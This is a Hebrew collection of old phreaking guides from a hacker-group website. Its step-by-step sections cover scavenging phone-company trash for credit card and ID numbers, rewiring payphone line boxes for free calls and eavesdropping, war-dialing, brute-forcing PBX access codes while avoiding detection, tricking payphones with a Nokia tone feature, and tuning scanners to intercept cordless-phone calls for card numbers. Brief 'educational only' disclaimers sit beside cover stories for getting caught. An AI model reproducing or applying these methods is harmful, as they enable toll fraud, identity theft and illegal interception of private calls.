‫‪.‬שקר‪ :‬תופעת הפריקינג מתה‬


‫‪.‬אמת‪ :‬תופעת הפריקינג היא בדעיכה רצינית‪ ,‬אפשר להגיד גוססת‪ ,‬היא לא מה שהייתה בעבר‬

‫‪ )BOXES(.‬שקר‪ :‬קופסות פריקרים לא עובדות יותר‬


‫‪.‬אמת‪ :‬כמעט כל הקופסאות לא עובדות אבל יש כמה שעובדות תחת התנאים הנכונים‬

‫‪.‬שקר‪ :‬פריקינג טוב‪/‬מגניב יותר מהאקינג‬


‫‪.‬אמת‪ :‬גם האקינג‪/‬פריקינג‪ ,‬שניהם סוגים של אומנות ממוחשבת ואין דבר כזה טוב יותר מהשני‬

‫‪.‬שקר‪ :‬פריקינג זה דבר רע ואסור‬


‫‪.‬אמת‪ :‬פריקינג זה דבר רע ואסור רק אם עושים בזה שימוש מוטעה ומכוון להרוס דברים‬

‫? שקר‪ :‬אין שימוש לפריקיג‪ ,‬למה צריך את זה בכלל‬


‫אמת‪ :‬פריקינג יכול להיות שימושי מאוד והוא נותן לך ידע על מערכות טלפון שאתה משתמש‬
‫‪.‬בהם כל יום‬

‫‪.‬שקר‪ :‬הנושא העיקרי של פריקינג הוא רק קופסאות‬


‫‪,‬אמת‪ :‬כל יום כאשר נוצרת מערכת טלפון חדשה‪ ,‬יש תת‪-‬נושא חדש לפריקינג‬
‫‪.‬איך לעבוד איתה ומה אפשר לעשות איתה‪ ,‬ידע חדש על מערכת חדשה‬

‫‪.‬שקר‪ :‬פריקינג הוא בטיחותי ביותר‬


‫‪.‬אמת‪ :‬לא נכון‪ ,‬תמיד יש סיכוי שתתחשמל בזמן ביצוע מעשה כלשהו‪ ,‬תמיד צריך להיזהר‬

‫‪.‬שקר‪ :‬כשאני עושה מעשה פריקינג כלשהו‪ ,‬אין לי סיכוי להיתפס‬


‫‪.‬אמת‪ :‬גם לא נכון‪ ,‬תמיד יש סיכוי שמישהו יראה אותך‪ ,‬יתקשר ל ‪ 100‬ואתה נתפס ואוכל אותה‬

‫‪.‬שקר‪ :‬פריקינג זה לא חוקי‬


‫‪.‬אמת‪ :‬זה דווקא אמת‬

‫‪.‬שקר‪ :‬אם אני אקרא את הטקסט הזה אני אהיה פריקר טוב‬
‫‪.‬אמת‪ :‬שוב לא נכון‪ ,‬הטקסט נועד להסביר לכם מעט מידע על פריקינג ואיך להיזהר במעשיכם‬

‫‪By Prising‬‬

‫‪126‬‬
‫חיפוש במזבלות לפריקרים‬

‫חיפוש במיזבלות לפריקרים‬

‫‪: www.ihc-net.org‬אתר המקור‬

‫‪.‬הערות‪ :‬אני וצוות האתר לא אחראים לכל שימוש לרעה בטקסט‬


‫‪.‬החומר כאן הוא למטרות לימודיות בלבד ואין לבצע את המתואר בטקסט‬

‫?מה זה חיפוש במיזבלות לפריקרים‬


‫הכוונה הוא לחיפוש לניירות (לא בשום דבר מגעיל אני מקווה) במקומות שבהם אפשר‬
‫‪(.‬למצוא מידע לפריקרים‪/‬האקרים (בעיקר במשרדי חברת הטלפון‬

‫?למה לי? מה אני ימצא‬


‫‪:‬אפשר למצוא הרבה דברים‪ ,‬חלקם לפריקרים וחלקם להאקרים‪ .‬הנה רשימה חלקית‬
‫‪.‬ניירות עם מספרי ניסוי של חברת הטלפון *‬
‫‪.‬ניירות עם תיאור השיחות ממספר מסויים *‬
‫‪.‬מספרי תעודת‪-‬זהות ושאר פרטים אישיים של אנשים שונים *‬
‫‪.‬מספרי כרטיסי אשראי של אנשים אחרים על פיתקיות *‬
‫‪.‬מספרי חיוג לרשת שאתה לא אמור לדעת עליהם *‬

‫?מה צריך‬
‫‪////////‬‬
‫(חולצה ישנה ארוכה‪ ,‬נעליים ישנות וזוג מכנסיים ישנים‪( .‬הכול בצבע כהה &‬
‫פנס &‬
‫תיק גדול לניירות &‬
‫‪& Walkie Talkie‬‬
‫‪ walkie talkie‬חברים (בין ‪ )2-6‬לפחות אחד נמצא בתצפית עם &‬

‫?אוקי‪ ,‬אז מה אני עושה כדי להשיג את זה‬


‫((((((((((((((((((())))))))))))))))))‬

‫קודם כול לך למקום שאתה רוצה לחפש בו (עדיף משרדים של בזק‪ /‬חברות טלפון סלולרי) בזמן‬
‫‪.‬האור ותראה איך המקום נראה‪ ,‬מאיפה נכנסים ואם יש שומרים בחוץ או מנעולים‬
‫‪.‬בלילה לאחר מכן‪ ,‬לך למקום ותיכנס למיזבלה‬
‫‪.‬שם אתה תראה המון פחים גדולים אחד ליד השני‪ ,‬פתח אותם ותסתכל פנימה‬
‫רוב מה שתראה הוא נייר‪ ,‬ומה שאתה צריך זה ניירות אז קח הרבה ניירות לתוך התיק וצא‬
‫‪.‬מהמקום‬
‫כשאתה מגיע הביתה תסתכל על מה שלקחת‪ ,‬זרוק את הדברים הלא חשובים לפח זבל ברחוב‬
‫(כלשהו (לא שלך‬
‫‪.‬וקח את הדברים המעניניים באמת‬
‫אם תמצא דברים מעניניים ממש תוכל לסרוק את זה ולשלוח לי‪ ,‬פינת הפריקינג זקוקה לדברים‬
‫!כאלה‬

‫‪...‬מה אם‬
‫‪:‬תירוצים לשהייה במיזבלה‬
‫‪.‬איבדתי את הכדורגל שלי כאן ‪#‬‬
‫‪.‬אני מחפש ניירות‪/‬אלומיניום למיחזור ‪#‬‬
‫‪.‬אני צריך חוטי טלפון לפרויקט שלי במדעים ‪#‬‬
‫‪.‬אין לי מקום לישון ‪#‬‬

‫‪127‬‬
‫‪,‬בכל מקרה‪ ,‬אם תופסים אותך ומבינים מה אתה עושה‬
‫‪.‬אתה יכול להיות מואשם בחציית גבול ולא בשום פשע רציני‬

‫‪,‬תמיד שלכם‬
‫‪By AiTi‬‬
‫‪TNI BOX‬‬

‫‪TNI Box‬‬
‫=======‬

‫‪ - Boba Smith‬נכתב על ידי‬


‫‪Version - 4.0‬‬
‫<<< ‪>>> www.ihc-net.org‬‬

‫הערה‬
‫‪----‬‬

‫טקסט זה נכתב למטרות לימודיות בלבד‬


‫אין לי שום אחריות לכל נזק שנגרם עקב קריאת טקסט זה‬

‫תוכן עניינים‬
‫‪------------‬‬

‫‪ TNI Box‬מה זה ה ‪1.‬‬


‫מה אפשר לעשות איתה ‪2.‬‬
‫? איך אפשר למצוא כאלה קופסאות ‪3.‬‬
‫נתחיל ‪4.‬‬
‫הערות ‪5.‬‬
‫קרדיטים ‪6.‬‬

‫‪ TNI Box‬מה זה ה ‪1.‬‬


‫‪------------------‬‬

‫( וכל אלה ‪ Blue‬זאת קופסא ( לא כמו הקופסאות ‪ TNI Box‬ה‬


‫שנמצאת ליד טלפון על מטבעות ( קשה למצוא כאלה קופסאות ‪ ,‬הקופסאות יכולות‬
‫( להיות מרוחקות מהטלפון‬
‫ולחפש את הקופסת ה ‪TNI‬‬

‫מה אפשר לעשות איתה ‪2.‬‬


‫‪---------------------‬‬

‫כאשר אתה מוצא את הקופסא אתה יכול לשנות את הקו לקו אמיתי ( לחשבון אמיתי‬
‫( בבזק ‪ ,‬ולא סתם איזה טלפון מזוין על מטבעות‬

‫? איך אפשר למצוא כאלה קופסאות ‪3.‬‬


‫‪--------------------------------‬‬

‫‪128‬‬
‫את הקופסאות האלה אתה יכול למצוא ליד טלפונים על מטבעות ( המרחק יכול‬
‫‪ ( .‬להיות רחוק מאד ‪ ,‬וזה גם יכול להיות קרוב מאד‬
‫‪ ,‬אם נגיד את הולך לטלפון ואתה רואה מן כזה חוט לאינשהוא תעקוב אחריו‬
‫‪ .‬או אם אתה רואה מן כזה חור שעליו נכנס חוט ‪ ,‬אז תנסה לעקוב אחריו‬

‫נתחיל ‪4.‬‬
‫‪--------‬‬

‫‪ .‬לך תחפש את הקופסא ותפתח אותה אם הכלים שאתה צריך ‪1.‬‬


‫אחרי שאתה פותח אותה אתה אמור לראות מן כאלה כבלים ‪2.‬‬
‫‪ .‬שרשום שם את המספרי טלפון‬
‫עכשיו ‪ ,‬תחפש את המספר של הטלפון על המטבעות ואז תחליף‬
‫‪ ( .‬אותו למספר אחר ( למספר רגיל‬
‫‪ .‬תלך לטלפון שאותו שיניתה לטלפון הרגיל ותתקשר חופשי לכל מקום בחינם ‪3.‬‬

‫הערות ‪5.‬‬
‫‪--------‬‬

‫זה נותן לך שיחות חינם ‪ Beige Box ,‬השיטה הזאת זה כמו ‪1.‬‬
‫‪ .‬ונותן לך לצותת לטלפון שעליו עליתה‬
‫שאתה מתחבר לקו הרגיל ‪ ,‬אז תתקשר ל ‪ 110‬זה ישמיע לך את המספר ‪2.‬‬
‫‪ .‬טלפון שעליו התחברת‬
‫אם נגיד אחרי שעשיתה את כל הקטע אם הקופסא ‪ ,‬שאתה תלך להתקשר ‪3.‬‬
‫‪ .‬לא יוכלו לחשוד בך ‪ ,‬אתה תראה כאילו שאתה מתקשר רגיל‬
‫‪By Boba Smith‬‬

‫‪129‬‬
‫רשימת המספרים המיוחדים והקידומות של נזק‬

‫&&& תודה שחייגתם‪ ,‬נזק‪ ,‬נזק &&&‬

‫הערות‪ :‬בקבוצה שלנו לא עושים מעשים בלתי‪-‬חוקיים וכל מידע כאן‬


‫‪.‬הוא למטרות לימודיות בלבד ו^^אין^^ לבצע את האמור בטקסט‬
‫‪.‬ואני חלק מקבוצה זה ‪ www.ihc-net.org‬קובץ זה הורד במקור מ‬

‫‪:‬רשימת המספרים‬
‫משטרה ‪100 -‬‬
‫מגן דויד אדום ‪101 -‬‬
‫מכבי האש ‪102 -‬‬
‫חברת החשמל ‪103 -‬‬
‫שירות לקוחות של נזק ‪199 -‬‬
‫פקס לשירות לקוחות של נזק ‪198 -‬‬

‫לטכנאי נזק ‪110 - ANI‬‬


‫שירות יקיצה של נזק ‪175 -‬‬
‫רשות הדואר‪ ,‬שירות מברקים ‪171 -‬‬
‫שירות תיקונים של נזק ‪166 -‬‬
‫שירות תיקונים מיוחדים של נזק ‪164 -‬‬
‫שירות נזקנט‪ ,‬אינטרנט מזדמן ‪135 -‬‬
‫שירות אינטרנט מיוחד‪ ,‬שימוש לחברות שונות ‪136 -‬‬
‫התא קולי של הקו אליו אתה מחובר ‪151# -‬‬
‫שליחת פקסים לשירות תא קולי ‪153 -‬‬
‫מרכזייה בינלאומית ‪1822/1838/1848/188 -‬‬
‫ישראנט‪ ,‬תמסורת ממוחשבת ‪131 -‬‬
‫מודיעין ‪144 -‬‬
‫שירות גוביינא אוטומטית ‪142 -‬‬
‫השעון הדובר ‪155 -‬‬
‫מידע על מספרי טלפון מוחלפים ‪146 -‬‬
‫מוקד עירוני ‪106 -‬‬
‫הפעלת שירות עקוב אחרי ‪72 -‬‬
‫ביטל שירות עקוב אחרי ‪73 -‬‬

‫‪:‬כוכביות וסולמיות‬

‫חייג לאחרון שהתקשר אליך ‪42* -‬‬


‫שירות "חנייה" של נזק‪ ,‬למקרה שיש מספר תפוס ‪41* -‬‬
‫ביטל אפשרות *‪ 42‬ושיחה מזוהה למי שאתה מתקשר אליו ‪43* -‬‬
‫עקוב אחרי במקרה שתפוס ‪73* -‬‬
‫עקוב אחרי במקרה שתפוס או שאין מענה ‪74* -‬‬
‫*ביטול ‪#73 - 73‬‬
‫*ביטול ‪#74 - 74‬‬

‫‪:‬קידומות‬

‫‪130‬‬
‫שיחת חינם ‪1800 -‬‬
‫שיחת חינם‪ ,‬לא עובד ברוב אזורי הארץ ‪177 -‬‬
‫שיחה מכל הארץ בתשלום ‪1700 -‬‬
‫קוי זהב ‪012 -‬‬
‫ברק ‪013 -‬‬
‫נזק בינלאומי ‪014 -‬‬
‫שיחה מכל הארץ בתשלום ‪1212 -‬‬
‫אזור ירושלים ויהודה ושומרון ‪02 -‬‬
‫אזור גוש דן והמרכז ‪03 -‬‬
‫אזור חיפה והצפון ‪04 -‬‬
‫אזור השפלה והדרום ‪08 -‬‬
‫‪! ----‬למקרה שאתם מכירים עוד מספרים‪ ,‬אנא פנו אלי ‪----‬‬

‫‪,‬תמיד שלכם‬
‫‪By AiTi‬‬

‫‪131‬‬
‫סריקת מספרי ‪1800‬‬

‫מה זה בכלל ‪?exhange scanning‬‬


‫‪ exhange scanning‬זה כמו דפיקה על כל הבתים ברחוב מסוים – רק שהפעם משתמשים בטלפון‪.‬‬
‫אתה בעצם סורק אזור מסוים של מספרי טלפון‪ ,‬נגיד מ ‪ 1800-300-000‬עד ‪1800-300-999‬‬
‫ומחפש מספרים מענינים שאתה מוצא‪.‬‬
‫אפשר למצוא מספרי ניסוי שונים של חברת הטלפון‪ ,‬מספרי מודמים שניתן להתחבר אליהם‬
‫(בעיקר להאקרים) ועוד מספרים מענינים שונים‪.‬‬

‫מה אני צריך כדי לסרוק?‬


‫‪ #‬מחשב שיש בו מודם והוא מחובר לטלפון‬
‫‪ #‬את התוכנה ‪ Phone Tag‬שניתן למצוא באתר‪.‬‬

‫הורדתי את התוכנה‪ ,‬מה עכשיו?‬


‫קודם כל תפתח את התוכנה‪ .‬אתה תראה את המסך הבא‪:‬‬

‫תלחץ על ‪ File – New dial list‬ותקבל את המסך הבא‪:‬‬

‫עכשיו אתה צריך לבחור את טווח המספרים שאתה רוצה לבדוק אותם‪.‬‬
‫אני ממליץ לנסות מספרים של ‪ ,1800‬אבל הבחירה בידיכם‪.‬‬

‫‪132‬‬
‫הקישו את התבנית שאתה רוצים‪ ,‬לחצה על ‪ X‬תהיה כמו לחיצה על כל המספרים‪.‬‬
‫לחצו על ‪ OK‬ואז על‬

‫והמודם יתחיל לחייג…‬


‫בזמן שהוא מחייג אתם תראו על המסך את התוצאות‪.‬‬
‫כל מספר שנרשם כתפוס רוב הסיכויים שאין כזה מספר‪.‬‬
‫תרשמו כל מספר שלא נרשם כתפוס אלא נרשם כ ‪ carrier‬או כ ‪No carrier‬‬
‫ולאחר מכן תתקשרו לכל המספרים הלא‪-‬תפוסים ותבדקו מה יש בהם‪.‬‬

‫הערות‪ :‬טקסט זה הוא למטרות לימודיות בלבד ואין להשתמש בו‪.‬‬


‫אני לא ממליץ לחייג מעל ‪ 500‬מספרים ביום אחד‪ ,‬בזק יכולה לעלות על זה‪.‬‬
‫אחרי כל סריקה שאתם עושים אתם שולחים את התוצאות אלי…‪.‬‬
‫ותזכרו‪ :‬זה חיוג חינם‪ ,‬אז תתחילו לסרוק!‬

‫‪By AiTi‬‬

‫‪133‬‬
‫‪PBX‬‬

‫פעם (לפני ‪ 5‬שנים בערך) השתמשו הרבה אנשים בקודים שפורסמו ב ‪ BBS‬כדי לעשות שיחות‬
‫חינם‪,‬‬
‫אני מקווה שבטקסט זה אני "יחזיר עטרה ליושנה" (אוף‪ ...‬אני שונא את ש"ס)‬

‫מה זה בכלל כל הדברים האלו?‬


‫‪---------------------------‬‬
‫קודם כל צריך להבין שפי‪.‬בי‪.‬אקס זה לא מאריך‪ ,‬ומאריך זה לא פי‪.‬בי‪.‬אקס‪ ,‬לפעמים מתבלבלים‬
‫בשמות האלו מכיוון שהם משמשים לאותה מטרה‪ :‬לעשות שיחות חינם‬

‫מאריך בדרך כלל שייך לחברת שיחות בינלאומיות גדולה (בזק בינלאומי‪ ,‬קווי זהב‪ ,‬ברק) או‬
‫חברת טלפון בינלאומית‪,‬‬
‫למאריך בדרך כלל יש שתי מטרות‪:‬‬
‫‪ .1‬שאנשים המשלמים על השירות יוכלו להתקשר למספרי טלפון בעזרת קוד מסויים (כמו‬
‫בזקכרט‪)...‬‬
‫‪ .2‬להוות מספר שאליו מתקשרים כאשר מוכרים לך כרטיס חיוג חד‪-‬פעמי‪ ,‬בו אתה מתקשר‬
‫למספר כלשהוא‪ ,‬מקיש את הקוד ומתקשר‪.‬‬

‫כל מספרי המאריכים נמצאים באזור החיוג חינם של ‪ ,1800‬ולא תוכל למצוא מאריכים באזורי‬
‫חיוג אחרים‪.‬‬

‫כדי למצוא מאריך כדי להשתמש בשיטת הסריקה שכתבתי עליה טקסט‪,‬‬
‫אם אתה מוצא מספר שכאשר אתה מתקשר אליו הוא נותן לך צליל חיוג‪ ,‬יש ‪ 99%‬שמצאת‬
‫מאריך‪.‬‬
‫כמו כן מספר המבקש ממך את הקוד לחיוג‪ ,‬חייב להיות מאריך‪.‬‬

‫קודם כל צריך למצוא כמה ספרות יש בקוד‪ ,‬אבל בדרך כלל הקול האוטמוטי יגיד לך‪" :‬אנא הכנס‬
‫את הקוד בעל ה ‪ 8‬ספרות שלך" וכך תדע כמה ספרות יש‪,‬‬
‫אך לפעמים לא ינתנו לך שום רמזים על מספר הסיפרות‪.‬‬

‫אוקי‪ ,‬עכשיו לפי‪.‬בי‪.‬אקס!‬


‫בדרך כלל פי‪.‬בי‪.‬אקס יהיה שייך לאיזו חברה גדולה‪ ,‬שבדרך כלל יש לה מרכזייה‪.‬‬
‫(דוגמא‪ :‬לאוניברסיטאות בטוח יש פי‪.‬בי‪.‬אקס מכיוון שהם גדולות‪ ,‬יש בהם לרוב שירות לעובדים‬
‫של להתקשר למספר כלשהוא‪ ,‬לתת קוד ולהתקשר למישהוא בנושא עבודה‪ ,‬ותמיד יש‬
‫לאוניברסיטאות מרכזייה)‬

‫בדרך כלל האנשים בחברה יצטרכו לחייג ‪ ,9‬או כל סיפרה אחרת כדי לקבל צליל חיוג‪.‬‬

‫הפי‪.‬בי‪.‬אקס הוא בעצם מספר‪ ,‬שעובדים בחברה אמורים להתקשר אליו ולהקיש את הקוד שלהם‪,‬‬
‫ואז הם יוכלו לחייג חינם למישהוא‪ ,‬למטרות עסקים‪.‬‬

‫פי‪.‬בי‪.‬אקס יכולים להימצא גם באזורי חיוג רגילים (‪ )03,04,08‬וגם באזור חיוג של שיחות חינם (‬
‫‪.)1800‬‬
‫מאריכים יכולים בדרך כלל להתקשר רק למספרים בתוך הארץ‪,‬‬
‫לעמות זאת‪ ,‬פי‪.‬בי‪.‬אקסים יכולים להתקשר לכל מקום בעולם‪.‬‬

‫חלק ‪ :2‬איך לא להתגלות בפריצה למערכות האלה‬


‫=========================================‬
‫ל ‪ 99%‬מהמאריכים יש את האפשרות לאתר ברגע‪ ,‬ולמצוא את מי שהתקשר‪ ,‬לכן מאוד‬
‫קשה‪/‬מסוכן לפרוץ אליהם בלי שמנהלי המערכת לא ישימו לב‪.‬‬

‫היתרון של פי‪.‬בי‪.‬אקסים הוא שלרובם אין דרך מהירה לאתר‪ ,‬ןהדרך היחידה לאתר את המתקשר‬
‫היא לבדוק את הרישומים אצל בזק (‪ =CAMA‬סרט מגנטי המתעד כל מספר שאליו התקשרת‪,‬‬

‫‪134‬‬
‫אמור לשמש למטרות חיוב‪ ,‬אך עדיין ניתן לאתר בעזרתו את המתקשר‪ ,‬הוא קיים במערכות‬
‫טלפון חדשות בלבד)‬

‫מה לא לעשות‪ ( :‬או‪ :‬איך פריקרים נתפסים על הדברים האלה)‬


‫&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&‬
‫‪ .1‬אל תנסה קודים אחד אחרי השני לפי הסדר (‪ )...0001,0002,0003,0004‬אלא תערבבו את‬
‫הקודים כך שיהיו בסדר רנדומלי‪.‬‬
‫‪ .2‬אל תחייגו לאותו פי‪.‬בי‪.‬אקס‪/‬מאריך ‪ 400‬פעמים בשעה אחת‪ ,‬בדרך כלל ישימו לב לזה‪....‬‬
‫‪ .3‬שלא יהיו הפרשים קבועים בזמן בין השיחות‪ ,‬אלא הפרשים רנדומלים‪.‬‬

‫הדרך הכי טובה היא למצוא את הקוד בעזרת הטלפון‪ ,‬ללא שימוש במחשב אלא לנסות קודים‬
‫רבים בעצמך בזמן שאתה רואה סאות' פארק‪....‬‬

‫אם אתה מוצאים קודים‪ ,‬אל תשתגעו ואל תביאו אותם לכל אחד‪ ,‬כי כך הם ימותו מהר מאוד‪...‬‬

‫‪By AiTi‬‬

‫‪135‬‬
‫המדריך ליצירת צלילים בנוקיה‬

‫‪:‬הערות‬
‫‪-====-‬‬
‫‪.‬מדריך זה נכתב לצורכי לימוד בלבד‪ ,‬ואין הכותב נושא אחריות כלשהי עקב קריאת מדריך זה‬

‫‪:‬מצרכים‬
‫=======‬
‫נוקיה מהסוג היישן ‪ - 2160\2120‬אם אתם לא יודעים על מה אני מדבר‪ ,‬זה הנוקיה המרובה‬
‫‪...‬והדוחה שהיה לכל הארץ לפני איזה שנתיים‬
‫ידיים‬
‫מוח‬

‫‪:‬הסבר‬
‫=====‬
‫בנוקיה **‪ 21‬לא לקחו בחשבון שיהיה מישהו משועמם שייגלה שיטה שהם משתמשים בה לצורכי‬
‫‪...‬מחקר ובדיקה‬
‫?מה נותנת לנו השיטה‬
‫‪...‬השיטה מאפשרת בעת הצמדת השפורפרת לטלפון מטבעות‪ ,‬להתקשר חינם לכל מקום בעולם‬

‫‪:‬פעולה‬
‫======‬
‫‪:‬תפעילו את המכשיר‪ ,‬לחצו על‬
‫‪Menu‬‬
‫ויישר על הכפתור‬
‫‪SND‬‬
‫‪:‬אחר כך הוא יגיד לכם‬
‫‪Location Number:‬‬
‫‪ [DTMF].‬הכוונה למספר הזיכרון שאותו אתם רוצים לשמוע בצלילים‬
‫‪.‬נגיד אנחנו רוצים לחייג ליוסי‪ ,‬שנמצא אצלינו במספר זיכרון ‪33‬‬
‫‪ OK‬אז אנחנו מקישים ‪ 33‬ולוחצים על‬
‫‪...‬שהוא בעצם הכפתור של התפריט ‪ DTMF‬עכשיו יש לנו אפשרות ללחוץ על‬
‫‪...‬ואיזה פלא‪...‬המכשיר מפיק את צלילי המספרים של הטלפון של יוסי‬
‫עכשיו מה שנותר לנו‪ ,‬זה למצוא טלפון מטבעות [שקלים] ולהצמיד אליו את הרמקול של הפלאפון‬
‫‪...‬וגמרנו‬
‫‪...‬אתם צריכים לשמוע צליל חיבור‬
‫!!!תנסו את השיטה על הטלפון בבית‪ ,‬זה אמור לעבוד מכל מקום‪...‬והשיטה עובדת מעולה‬

‫!מה שכן‪ ,‬זה שצריך להיזהר שלא ייתפסו אותכם‪...‬כי אז אתם יכולים להיות עצורים על גניבה‬
‫אבל אל חשש‪....‬פשוט תגידו שאתם משמיעים לחבר שלכם את ההודעה שהחברה המחורמנת‬
‫‪...‬שלכם השאירה לכם אתמול בלילה‬

‫חשוב לציין‪ :‬השיטה נמצאה ביידיי‪...‬ואם היא לא תעבוד אצלכם‪ ,‬אז תשאירו לי הודעה‬
‫בפורום‪...‬ועוד משהו‪...‬סתם שתדעו‪...‬שרוב הטלפונים האלה נמצאים בפיצוחיות הקטנות‬
‫ובקיוסקים‪...‬בדרך כלל בחוץ‪ ,‬ובקניונים בצורת טלפון גדול ובדרך כלל בצבע צהוב‪...‬תהנו‬

‫‪:‬לסיכום‬
‫‪-------‬‬
‫נוקיה לא חשבה על זה שמישהו יימצא את השיטה ויידע איך להשתמש בה ולאיזה צורך‪ ,...‬אבל‬
‫נוקיה טעתה‪...‬אבל בדגמי הנוקיה החדשים האפשרות הזאת מבוטלת‪...‬כנראה הם קיבלו קצת‬
‫‪...‬שכל האנשים‬

‫‪136‬‬
‫‪:‬לפריקרים‬
‫=========‬
‫שאתם צריכים בפשטות רבה‪...‬בלי שום טייפים ‪ HERTZ‬אתם יכולים עכשיו ליצור את ה‬
‫‪...‬ובלאגנים‪...‬למרות שהטייפ הטוב והיישן עדיין שולט בנו‬

‫‪By CnTaX‬‬

‫‪137‬‬
‫‪:‬רשימת הקופסאות השונות ותפקידם‬

‫אמור לגנוב שיחה ממתינה‪ ,‬שיחה מזוהה ושיחת ועידה במערכות טלפון ישנות* ‪Acrylic Box -‬‬

‫‪.‬שימוש בקו הטלפון של מישהו אחר ללא רשותו‪ ,‬אחד מהכלים של טכנאי בזק ‪Beige Box -‬‬

‫‪.‬מי שיתקשר אליך כאשר אתה משתמש בקופסא זו לא יחוייב על השיחה* ‪Black Box -‬‬

‫!אמור להרוס כל מערכת טלפון באזור‪ ,‬אל תשתמשו בזה ‪Blotto Box -‬‬

‫‪.‬משתמש בטונים כדי לקבל שיחות חינם לכל העולם* ‪Blue Box -‬‬

‫‪.‬אמור להרוס את יכולת התקשורת של הטלפון אצל מי ששותלים את הקופסא ‪Busy Box -‬‬

‫‪.‬משתמש בחשמל בטלפון שלך למטרות אחרות לפי בחירתך ‪Chartreuse Box -‬‬

‫אמור להפוך את הטלפון שלך לטלפון ציבורי* ‪Cheese Box -‬‬

‫‪.‬משמש ככפתור "המתן" לטלפון שלך ‪Crimson Box -‬‬

‫‪ Coin Collect, Coin Return, Ringback‬נותן לך ליצור את הצלילים של* ‪Green Box -‬‬

‫‪.‬מוסיף מיקרופון נוסף לטלפון ‪Neon Box -‬‬

‫‪.‬מוסיף רעש לקו ‪Noise Box -‬‬

‫‪.‬משמש כפעמון נוסף לטלפון ‪Olive Box -‬‬

‫נותן לך לעשות שיחות חינם מטלפונים ציבוריים בארה"ב* ‪Red Box -‬‬

‫מוסיף מוסיקה לקו הטלפון שלך‪ ,‬מהכרטיס קול או ממערכת סטריאו ‪Rock Box -‬‬

‫חייגן צלילי טלפון נייד ‪White Box -‬‬

‫‪By AiTi‬‬

‫‪138‬‬
‫המדריך המלא לסריקת תדרים באוויר‬

‫‪,‬הקדמה‪ :‬אני בטוח שחלקכם כבר קראתם טקסט שלי על סריקות‬


‫‪....‬אבל אז היה מדובר על סריקות של מספרי טלפון‬
‫‪,‬כאן מדובר על סריקות של תדרים באוויר‪ ,‬עולם חדש של ציטוט והאזנה‬
‫‪...‬שטח חדש של פריקינג‬

‫???‪ Scanner‬מה זה ‪1.‬‬


‫מאוד משוכלל ‪ walkie talkie‬סקנר הוא בעצם‬
‫(!ואל תתבלבלו עם סורק לניירות)‬

‫???מה הוא עושה ‪2.‬‬


‫‪.‬בעצם ‪ walkie talkie‬סקנר הוא מכשיר שיכול לקלוט ולשדר מידע בתדרים שונים‪ ,‬כמו‬
‫‪walkie talkie‬מה ששונה זה שסקנר יכול לקלוט מידע מאפילו ‪ 5‬קילומטרים‪ ,‬בעוד ש‬
‫‪.‬יכול לקלוט מידע ממקסימום ‪ 200‬מטר‬

‫?מה סקנר יכול לעשות ‪3.‬‬


‫‪:‬סקנר יכול להאזין לתדרים שונים באוויר‪ ,‬ואתה יכול לקלוט את השידורים הבאים‬

‫רדיו‬
‫טלפונים אלחוטיים‬
‫(טלוויזיה (קול בלבד‬
‫טלפונים סלולריים אנלוגיים‬
‫רדיו קשר של משטרה‬
‫רדיו קשר של מכבי אש‬
‫רדיו קשר של מגן‪-‬דוד‪-‬אדום‬
‫('רדיו קשר של חברות אבטח שונות (בתי ספר‪ ,‬אוניברסיטאות‪ ,‬מלונים וכו‬
‫מוניות‬
‫(מיקרופונים ניידים (כמו בתיאטרון‬

‫כאשר אתה מאזין לטלפונים אלחוטיים‪/‬סלולריים‬


‫‪.‬אתה יכול לקלוט מידע על אנשים‪ ,‬מספרי בזקכרט ומספרי כרטיסי אשראי‬

‫?אוקי‪ ,‬איפה אני יכול לקנות סקנר ‪4.‬‬

‫‪,‬קודם כל צריך להבין שסקנר יכול לעלות בין ‪ 200‬ל ‪ 2000‬ש"ח‬


‫‪.‬וקשה מאוד למצוא אותו בארץ למכירה‬
‫שם אני ‪ uniden.com‬או מהאתר של ‪ ebay.com‬אני מציע לקנות מאתרי מכירות פומביות כמו‬
‫‪.‬קניתי‬

‫‪.‬כמו כן אני ממליץ מאוד לקנות אנטנה מורחבת‪ ,‬שיכולה לתת לכם טווח כפול וזה ממש לא יקר‬

‫?איך אני יכול למצוא לאיזה מספרים אנשים חייגו בטלפון אלחוטי ‪5.‬‬

‫‪...‬די פשוט‬
‫רק צריך לקנות כבל של אוזניות שהוא זכר‪/‬זכר (תקע‪/‬תקע) ולחבר‬
‫את יציאת האוזניות של הסקנר לכניסת ה‬
‫‪audio in‬‬
‫‪,‬של המחשב‬
‫שניתן (‪ )DTMF‬ולהפעיל את תוכנת זיהוי צלילי הטלפון‬
‫‪.‬להשיג באתר‬

‫‪139‬‬
‫?לאיזה תדרים אני צריך להאזין ‪6.‬‬

‫(אלפונים אלחוטיים‪( :‬לנסות להקשיב לאחד מ ‪ 25‬התדרים‬

‫‪Handset Base Channel‬‬


‫‪------- ---- -------‬‬
‫‪1‬‬ ‫‪43.720 48.760‬‬
‫‪2‬‬ ‫‪43.740 48.840‬‬
‫‪3‬‬ ‫‪43.820 48.860‬‬
‫‪4‬‬ ‫‪43.840 48.920‬‬
‫‪5‬‬ ‫‪43.920 49.000‬‬
‫‪6‬‬ ‫‪43.960 49.080‬‬
‫‪7‬‬ ‫‪44.120 49.100‬‬
‫‪8‬‬ ‫‪44.160 49.160‬‬
‫‪9‬‬ ‫‪44.180 49.200‬‬
‫‪10‬‬ ‫‪44.200 49.240‬‬
‫‪11‬‬ ‫‪44.320 49.280‬‬
‫‪12‬‬ ‫‪44.360 49.360‬‬
‫‪13‬‬ ‫‪44.400 49.400‬‬
‫‪14‬‬ ‫‪44.460 49.480‬‬
‫‪15‬‬ ‫‪44.480 49.500‬‬
‫‪16‬‬ ‫‪46.610 49.670‬‬
‫‪17‬‬ ‫‪46.630 49.845‬‬
‫‪18‬‬ ‫‪46.670 49.860‬‬
‫‪19‬‬ ‫‪46.710 49.770‬‬
‫‪20‬‬ ‫‪46.730 49.875‬‬
‫‪21‬‬ ‫‪46.770 49.830‬‬
‫‪22‬‬ ‫‪46.830 49.890‬‬
‫‪23‬‬ ‫‪46.870 49.930‬‬
‫‪24‬‬ ‫‪46.930 49.990‬‬
‫‪25‬‬ ‫‪46.970 49.970‬‬

‫כדאי מאוד לנסות להקשיב לצד של הבסיס ולא לצד של הטלפון עצמו‬

‫‪.‬השאר‪ :‬כאן תראו את שאר התדרים האפשריים ומה הם מכילים‬


‫ולא בקילו הרץ (‪ )MHZ‬התדרים הם במגה הרץ‬
‫עד ‪ - - 54‬טלוויזיה ‪72‬‬
